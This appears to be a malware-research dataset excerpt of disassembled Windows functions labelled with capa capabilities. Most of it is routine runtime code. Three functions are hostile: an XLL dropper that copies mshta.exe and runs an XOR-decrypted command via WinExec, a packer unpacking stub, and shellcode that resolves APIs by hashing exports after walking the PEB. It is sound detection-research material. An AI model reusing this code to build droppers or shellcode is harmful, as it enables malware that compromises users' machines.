joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140035940
Capabilities:
Check for time delay via gettickcount
Check for time delay via queryperformancecounter
Get system information on windows

Disassembly:
push rbp
push r14
push r15
sub rsp, 0x90
mov r15d, edx
mov rbp, rcx
call fcn.140015cd0
mov eax, dword [rbp + 8]
xor r14d, r14d
nop
test eax, eax
jne 0x14003597b
mov eax, 1
lock cmpxchg dword [rbp], r14d
add rsp, 0x90
pop r15
pop r14
pop rbp
ret
mov qword [rsp + 0x88], rbx
xor eax, eax
mov qword [rsp + 0x80], rsi
mov ebx, r14d
mov qword [rsp + 0x78], rdi
mov esi, r14d
mov rdi, r14
lock cmpxchg dword [rbp + 4], r15d
je 0x140035abe
mov qword [rsp + 0x70], r12
movabs r12, 0x38d7ea4c67fff
test ebx, ebx
jne 0x1400359df
mov eax, dword [0x1400cf868]
test eax, eax
jne 0x1400359d3
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x60]
cmp eax, 1
mov ebx, 0x20
cmova ebx, r14d
cmp ebx, 8
jb 0x140035aa9
cmp ebx, 0x20
jae 0x1400359f4
pause
jmp 0x140035aa9
jne 0x140035a8e
mov ecx, 7
call fcn.1400201f0
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x20]
call rax
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
jne 0x140035a41
mov ecx, dword [rsp + 0xc0]
mov eax, 0xd1b71759
dec ecx
mul ecx
mov eax, edx
shr eax, 0xd
jmp 0x140035a66
mov eax, dword [rsp + 0xc0]
imul r8, rax, 0x5f5e100
mov rax, r12
cqo
idiv qword [rsp + 0x38]
lea rcx, [rax + 1]
lea rax, [r8 - 1]
cqo
idiv rcx
lea rcx, [rsp + 0x28]
lea esi, [rax + 1]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
jne 0x140035a87
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
mov qword [rsp + 0x28], rdi
jmp 0x140035aa9
mov rdi, qword [rsp + 0x28]
jmp 0x140035aa9
test esi, esi
jne 0x140035ae0
test bl, 1
je 0x140035b10
call qword [sym.imp.KERNEL32.dll_SwitchToThread]
test eax, eax
jne 0x140035aa9
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
xor eax, eax
lock cmpxchg dword [rbp + 4], r15d
jne 0x1400359b6
mov r12, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x78]
add rsp, 0x90
pop r15
pop r14
pop rbp
ret
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
jne 0x140035afe
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov qword [rsp + 0x30], rcx
jmp 0x140035b03
mov rcx, qword [rsp + 0x30]
sub rcx, rdi
mov eax, esi
cmp rcx, rax
jb 0x140035a97
mov esi, r14d
mov ecx, 1
jmp 0x140035aa3
Function at 0x14003b620
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x60
mov rbx, rdx
mov rdi, rcx
xor r14d, r14d
call fcn.140021910
cmp qword [rbx + 0x18], 0x10
mov rbp, rax
mov r8, qword [rbx + 0x10]
mov rdx, rbx
jb 0x14003b65c
mov rdx, qword [rbx]
movabs r9, 0xcbf29ce484222325
mov rcx, r14
test r8, r8
je 0x14003b693
movabs r10, 0x100000001b3
nop dword [rax + rax]
movzx eax, byte [rcx + rdx]
inc rcx
xor r9, rax
imul r9, r10
cmp rcx, r8
jb 0x14003b680
mov r8, rbx
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 8]
call fcn.140011f90
mov rax, qword [rax + 8]
test rax, rax
jne 0x14003b6b1
mov rax, qword [rbp + 0x10]
cmp rax, qword [rbp + 0x10]
jne 0x14003b6c0
mov qword [rdi], r14
mov qword [rdi + 8], r14
jmp 0x14003b6dc
mov rcx, qword [rax + 0x38]
test rcx, rcx
je 0x14003b6cd
lock inc dword [rcx + 8]
mov rcx, qword [rax + 0x38]
mov rax, qword [rax + 0x30]
mov qword [rdi], rax
mov qword [rdi + 8], rcx
lea r11, [rsp + 0x60]
mov rax, rdi
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret

Function at 0x14003b780
Capabilities:
Get system information on windows
Hash data using fnv
Terminate process

Disassembly:
mov r9, qword [r8 + 8]
mov r8, qword [r8]
jmp fcn.14003b790
Function at 0x140058ab8
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x14004510a
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x1400450ed
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x1400450d8
Function at 0x1400676a0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400676ea
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400676ea
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400676ea
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400676ea
cmp dword [rcx + 0x84], 0xe
jbe 0x1400676ea
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400676ec
xor al, al
add rsp, 0x28
ret

Function at 0x140079a2c
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x140079a63
call fcn.140075df0
mov dword [rax], 0x16
call fcn.140075c34
xor eax, eax
jmp 0x140079af1
mov rdx, r9
mov rcx, r8
call fcn.1400799c8
mov rbx, rax
test rax, rax
je 0x140079aee
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x1400798f4]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x140079adb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140075d64
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x140079ac2
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x140079ad1
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.140085a08
jmp 0x140079aee
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140079aeb
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x140081afc
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400818f8

Function at 0x140089888
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14008989e
mov al, 1
jmp 0x1400898fe
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400898af
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400898fc
mov ecx, dword [rcx + 0x18]
nop
call fcn.140090264
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400898fc
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400898fc
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400898fc
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400898fe
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x14008f258
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14008f288
xor eax, eax
jmp 0x14008f34b
mov rbp, rbx
cmp word [rax], si
je 0x14008f2ad
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14008f294
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14008f290
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400893c8
movsxd r14, eax
test eax, eax
jne 0x14008f2eb
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14008f281
mov rcx, r14
call fcn.140086d9c
mov rdi, rax
test rax, rax
jne 0x14008f304
xor ecx, ecx
call fcn.140085a08
jmp 0x14008f2e0
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400893c8
test eax, eax
jne 0x14008f335
mov rcx, rdi
call fcn.140085a08
jmp 0x14008f33f
xor ecx, ecx
call fcn.140085a08
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14008f368
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14008f3ef
mov rsi, rbx
cmp word [rax], bp
je 0x14008f3ae
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14008f398
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14008f394
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140086d9c
mov rdi, rax
test rax, rax
je 0x14008f3dc
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140068d80
mov rbp, rdi
xor ecx, ecx
call fcn.140085a08
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400927b8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.1400855c4
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x140092859
cmp ebx, dword [rsp + 0x30]
je 0x140092852
test esi, esi
je 0x140092852
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14009282d
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14009283a
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x140092817
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14009283e
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14009285b
mov eax, 1
jmp 0x14009285b
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14009551c
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140079354
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400955a6
cmp byte [rbp - 0x21], r15b
je 0x1400955a1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400955dc
call fcn.140085d64
test eax, eax
jne 0x1400955c8
cmp byte [rbp - 0x21], r15b
je 0x1400955c0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400955dc
cmp byte [rbp - 0x21], r15b
je 0x1400955d9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400790bc
test eax, eax
jne 0x14009567c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140079354
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14009561b
cmp byte [rbp - 0x21], r15b
je 0x140095650
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140095650
call fcn.140085d64
test eax, eax
jne 0x14009563c
cmp byte [rbp - 0x21], r15b
je 0x140095635
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140095650
cmp byte [rbp - 0x21], r15b
je 0x14009564d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400790bc
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14009567c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14009567f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14009568d
mov rcx, rdi
call fcn.140085a08
cmp byte [rbp + 0x3f], r15b
je 0x14009569c
mov rcx, qword [rbp + 0x27]
call fcn.140085a08
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140017ad0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x140017add
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140017aed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140017ad5
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x140017b05
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140017af2
sub eax, 3
jb 0x140017b1f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140017b56
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x140017b46
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140017b44
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140017b33
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.140017a92
jmp 0x140017add
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xaa00
mov dl, 5
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140017ba2
cmp rsi, rcx
jae 0x140017baa
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140017b89
cmp al, 0x8f
ja 0x140017b89
cmp byte [rsi - 2], 0xf
je 0x140017b8f
sub al, 0xe8
cmp al, 1
ja 0x140017b73
cmp rsi, rcx
jae 0x140017baa
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140017b79
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140017baa
lodsb al, byte [rsi]
jmp 0x140017b89
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x14000]
mov eax, dword [rdi]
or eax, eax
je 0x140017c13
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x171dc]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140017bb7
jns 0x140017bec
movzx rdx, word [rdi]
add rdi, 2
jmp 0x140017bf6
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140017c0d
mov qword [rbx], rax
add rbx, 8
jmp 0x140017bd7
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140017c4d
cmp al, 0xef
ja 0x140017c3f
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140017c1f
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140017c2e
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x22f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140017ca1
sub rsp, 0xffffffffffffff80
jmp 0x14000aaa8
Function at 0x2229a13d0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rdi, rcx
mov rcx, rdx
mov r13, rdx
call sub.msvcrt.dll_strlen
mov rcx, rdi
mov rbp, rax
call sub.msvcrt.dll_strlen
shr rax, 1
lea rcx, [rax + 1]
mov r12, rax
call sub.msvcrt.dll_malloc
mov r14, rax
test r12, r12
je 0x2229a144f
mov rsi, rax
xor ebx, ebx
lea r15, str._2hhx
nop dword [rax]
mov r8, rsi
mov rdx, r15
mov rcx, rdi
add rdi, 2
call fcn.2229a13a0
mov rax, rbx
xor edx, edx
add rbx, 1
div rbp
movzx eax, byte [r13 + rdx]
xor byte [rsi], al
add rsi, 1
cmp r12, rbx
jne 0x2229a1420
mov rax, r14
mov byte [r14 + r12], 0
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x2229a1470
Capabilities:
Copy file
Create process on windows

Disassembly:
push r12
sub rsp, 0x120
mov r8d, 1
lea rdx, str.c:userspublicdefault.exe
lea rcx, str.c:windows_system32mshta.exe
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, str.000b034215534e0b120a1e5e111d5241001b4c5541544c59041e4c76021d0541043123550b0c0f43494b1b44021b054715471f5f0405001548524c554f1b1959494e0f5a05494354412a566b3d3e055905061b443d351f4e121d095a525b306b021c1e5b4f0c1452414403170253306b141a094512353047140b005e02353006535a5f0550471a5512490443151956184e5d5919565f4205525a4206515a4371163c166624024307530d0311471d055a0406194341585c11470a566b3d1c1f52131a306b111c0e5b080a306b505b5f0453584241031a4b1b4159450c411e055905061b19020503440441450c5d461f5413001c435f4b
movabs rax, 0x73726573755c3a63
movabs rdx, 0x5c63696c6275705c
mov qword [rsp + 0x20], rax
lea r12, [rsp + 0x20]
movabs rax, 0x2e746c7561666564
mov qword [rsp + 0x28], rdx
lea rdx, str.ail7
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x20657865
mov byte [rsp + 0x3c], 0
call sym.PV.xll_xor_decrypt
mov rcx, r12
mov rdx, rax
call sub.msvcrt.dll_strcat
mov edx, 1
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WinExec]
xor eax, eax
add rsp, 0x120
pop r12
ret

Function at 0x2229a16b0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.2229aaab0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.2229aaab0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x2229a1720
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x2229af064]
mov r12, rcx
test ebx, ebx
jle 0x2229a1850
mov rax, qword [0x2229af068]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x2229a176c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x2229a17f3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x2229a1750
mov rcx, r12
call fcn.2229a1ea0
mov rsi, rax
test rax, rax
je 0x2229a1872
mov rax, qword [0x2229af068]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.2229a1fd0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x2229af068]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x2229a1857
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x2229a17ec
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x2229a1800
add dword [0x2229af064], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x2229af068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x2229a17ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.2229a16b0
nop dword [rax]
xor ebx, ebx
jmp 0x2229a1777
mov rax, qword [0x2229af068]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.2229a16b0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.2229a16b0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x2229a1b10
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x2229af0a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x2229af080]
test rbx, rbx
je 0x2229a1b64
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x2229a1b5b
test r12, r12
je 0x2229a1b5b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x2229a1b40
lea rcx, [0x2229af0a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x2229a1ea0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x2229aca90]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x2229a1ec0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x2229a1ec8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x2229a1ec0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x2229a1f15
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x2229a1f0c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x2229a1ec0
add rax, 0x28
cmp rax, r9
jne 0x2229a1ef8
xor eax, eax
ret

Function at 0x2229a1f20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2229aca90]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x2229a1f40
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x2229a1f48
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x2229a1f40
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x2229a1fd0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2229aca90]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x2229a1ff0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x2229a1ff8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d9
push r9
push r8
push rdx
xor rdx, rdx
push rcx
push rsi
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
xor r9, r9
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x14000403a
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x140004030
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040ce
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040ce
add rax, rdx
mov r8d, dword [rax + 0x20]
push rax
add r8, rdx
mov ecx, dword [rax + 0x18]
jrcxz 0x1400040cd
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004084
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004075
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004024